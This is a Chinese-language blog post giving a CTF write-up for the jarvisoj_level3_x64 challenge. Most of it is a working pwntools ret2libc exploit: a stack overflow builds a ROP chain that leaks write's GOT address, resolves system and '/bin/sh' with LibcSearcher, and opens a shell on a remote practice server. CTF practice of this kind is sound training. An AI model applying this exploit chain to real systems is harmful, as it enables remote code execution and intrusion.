混了快一个礼拜终于发现不能再混了——jarvisoj_level3_x64

先默认操作

 

 ida:

 

唯一难点就是用write需要3个参数,然而可以找到rdi,rsi,但是找不到rdx

 

 但是通过gdb可以看见rdx已经被赋值为0x200,因为上面调用read函数时已经赋值了

所以老套路后面都一样

接受地址时换一个接受法

addr=u64(p.recvuntil("\x7f")[-6:].ljust(0x8,'\x00'))

地址特征以7f开头,64位地址大小为6字节

被坑过好几次了

 

 

exp:

from pwn import *
from LibcSearcher import *

#p=process('./level3_x64')
p=remote('node3.buuoj.cn',27405)
elf=ELF("./level3_x64")

write_plt=elf.plt['write']
write_got=elf.got['write']
pop_rdi=0x4006b3
pop_rsi=0x4006b1
ret=0x400499
main_addr=elf.symbols['main']
payload='a'*(0x88)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(payload)
write_addr=u64(p.recvuntil("\x7f")[-6:].ljust(0x8,'\x00'))
print("%x"%write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
bin=libc_base+libc.dump('str_bin_sh')
payload2='a'*(0x88)+p64(pop_rdi)+p64(bin)+p64(ret)+p64(system)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()

 时隔一礼拜感觉生疏了,感谢csgo治好了我的低血压和网瘾

 

posted @ 2021-03-17 14:53  Haokunnnnnnnna  阅读(214)  评论(0编辑  收藏  举报